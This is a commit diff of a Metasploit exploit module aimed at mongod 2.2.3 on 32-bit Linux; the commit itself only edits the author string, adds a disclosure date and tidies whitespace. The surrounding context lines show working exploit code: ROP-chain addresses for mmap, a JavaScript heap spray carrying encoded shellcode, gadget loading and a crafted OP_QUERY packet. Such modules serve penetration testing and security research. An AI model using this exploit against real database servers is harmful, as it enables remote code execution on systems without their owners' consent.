@@ -19,7 +19,7 @@ def initialize(info={})
19
19
} ,
20
20
'Author' =>
21
21
[
22
- 'agix @agixid'
22
+ 'agix - @agixid'
23
23
] ,
24
24
'References' =>
25
25
[
@@ -29,12 +29,12 @@ def initialize(info={})
29
29
'Platform' => [ 'linux' ] ,
30
30
'Targets' =>
31
31
[
32
- [ 'Linux - mongod 2.2.3 - 32bits' ,
32
+ [ 'Linux - mongod 2.2.3 - 32bits' ,
33
33
{
34
34
'Arch' => ARCH_X86 ,
35
35
'mmap' => [
36
36
0x0816f768 , #mmap_64@plt
37
- 0x0c0c0c0c , #NOPSLED+SHELLCODE
37
+ 0x0c0c0c0c , #NOPSLED+SHELLCODE
38
38
0x0c0c0000 ,
39
39
0x00001000 ,
40
40
0x00000007 ,
@@ -52,6 +52,7 @@ def initialize(info={})
52
52
} ]
53
53
] ,
54
54
'DefaultTarget' => 0 ,
55
+ 'DisclosureDate' => 'Mar 24 2013' ,
55
56
'License' => MSF_LICENSE
56
57
) )
57
58
@@ -95,7 +96,6 @@ def exploit
95
96
end
96
97
end
97
98
print_status ( "Let's exploit, heap spray could take some time..." )
98
-
99
99
my_target = target
100
100
101
101
shellcode = Rex ::Text . to_unescape ( payload . encoded )
@@ -106,7 +106,6 @@ def exploit
106
106
107
107
gadget1 = my_target [ 'gadget1' ]
108
108
109
-
110
109
gadget2 = my_target [ 'gadget2' ]
111
110
gadget3 = my_target [ 'gadget3' ]
112
111
gadget4 = my_target [ 'gadget4' ]
@@ -130,7 +129,7 @@ def exploit
130
129
payloadJS << chunk_var +'=' +chunk_var +'.substring(0,(' +sizechunk_var +'-' +shellcode_var +'.length));'
131
130
payloadJS << array_var +'=new Array();'
132
131
payloadJS << 'for(' +i_var +'=0;' +i_var +'<25000;' +i_var +'++){ ' +array_var +'[' +i_var +']=' +chunk_var +'+' +shellcode_var +'; } '
133
-
132
+
134
133
#RETCHAIN+ROPCHAIN HEAPSPRAY
135
134
payloadJS << ropchain_var +'=unescape("' +Rex ::Text . to_unescape ( mmap ) +'");'
136
135
payloadJS << chunk2_var +'="";'
@@ -145,7 +144,7 @@ def exploit
145
144
146
145
147
146
request_id = Rex ::Text . rand_text ( 4 )
148
-
147
+
149
148
packet = request_id #requestID
150
149
packet << "\xff \xff \xff \xff " #responseTo
151
150
packet << "\xd4 \x07 \x00 \x00 " #opCode (2004 OP_QUERY)
@@ -274,7 +273,7 @@ def auth(nonce)
274
273
return 1
275
274
end
276
275
277
-
276
+
278
277
end
279
278
280
279
def get_nonce
0 commit comments